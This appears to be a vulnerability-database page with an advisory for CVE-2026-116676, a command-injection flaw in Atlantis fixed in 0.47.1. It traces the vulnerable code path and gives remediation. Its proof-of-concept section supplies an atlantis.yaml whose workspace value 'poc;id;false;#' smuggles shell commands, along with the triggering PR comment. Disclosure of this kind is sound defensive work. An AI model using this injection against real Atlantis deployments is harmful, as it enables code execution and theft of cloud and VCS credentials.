NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-116676 — atlantis

HIGHFix: runatlantis/atlantis@8dd22b4

CVE-2026-116676 is a high-severity (CVSS 8.8) OS Command Injection vulnerability in github.com/runatlantis/atlantis. A fix is available for github.com/runatlantis/atlantis — see the affected versions and patch details below.

Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan

Also known asGHSA-rjh2-4xgw-p2hjGO-2026-6871
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-116676.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk
0.00%0.32%0.64%0.97%0.5%0.5%Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/runatlantis/atlantis

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Atlantis passes the Terraform workspace value from a pull request's atlantis.yaml into a shell command without quoting or escaping it.

A contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, allow_custom_workflows, or permission to run terraform apply.

The executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.

Details

Verified against current upstream/main commit 92ce5c51d1a050357e44df3535483425e59fa984 on August 13, 2026.

The vulnerable data flow is:

  1. The PR-controlled project workspace is validated in server/core/config/raw/project.go.

    Validation rejects only .., /, and \. Shell metacharacters such as ;, #, $, redirections, and whitespace remain permitted.

  2. The workspace is passed directly as a Terraform command argument in server/core/runtime/workspace_step_runner_delegate.go:

    []string{workspaceCmd, "select", ctx.Workspace}
    
  3. Terraform arguments are concatenated into a single string using strings.Join(args, " ") in server/core/terraform/tfclient/terraform_client.go:

    tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))
    
  4. The resulting string is executed through sh -c in server/core/terraform/tfclient/terraform_client.go:

    cmd := exec.Command("sh", "-c", tfCmd)
    

Consequently, a workspace such as:

poc;id;false;#

produces commands equivalent to:

terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#

raw.Project.Validate() was confirmed to return no error for this workspace value.

Atlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit allow_custom_workflows control and requiring no malicious provider, external data source, custom workflow, or apply operation.

The primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, exec.Command(binaryPath, args...). Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.

PoC

Only reproduce this against a disposable Atlantis instance and test repository.

Preconditions

  • Atlantis processes atlantis.yaml from the pull request branch.
  • The pull request is eligible to run atlantis plan.
  • For a fork pull request, the server must have --allow-fork-prs enabled. A same-repository branch does not require this flag.
  • No custom workflows or apply permissions are required.

Repository contents

Create main.tf:

terraform {
  required_version = ">= 1.0"
}

Create atlantis.yaml:

version: 3
projects:
  - name: workspace-rce-poc
    dir: .
    workspace: "poc;id;false;#"
    autoplan:
      enabled: false

Open a pull request containing these files and comment:

atlantis plan -p workspace-rce-poc

Expected result

Atlantis first runs terraform workspace select. The injected false causes that command invocation to return an error, so Atlantis retries using terraform workspace new.

On both attempts, the shell executes id as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:

uid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)

This demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.

The payload uses only id and false and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable poc workspace.

Impact

This is an OS command injection vulnerability resulting in remote code execution as the Atlantis service account.

Affected deployments are those that:

  • Process pull-request-controlled atlantis.yaml project configuration; and
  • Permit the attacker-controlled pull request to trigger an Atlantis plan.

Potential consequences include:

  • Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.
  • Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.
  • Modifying files or binaries accessible to the service account.
  • Making network requests using the Atlantis server's network identity.
  • Pivoting into infrastructure accessible through the server's credentials or network placement.

For public repositories, arbitrary external contributors are directly exposed when --allow-fork-prs is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/runatlantis/atlantis≥ 0.4.0&&< 0.47.10.47.1go get github.com/runatlantis/atlantis@v0.47.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/runatlantis/atlantis, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/runatlantis/atlantis to 0.47.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-116676 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary Atlantis passes the Terraform `workspace` value from a pull request's `atlantis.yaml` into a shell command without quoting or escaping it. A contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, `allow_custom_workflows`, or permission to run `terraform apply`. The executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials. ### Details Verif
O3 Security · Impact-Aware SCA

Is CVE-2026-116676 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-116676: atlantis RCE — Fixed in 0.47.1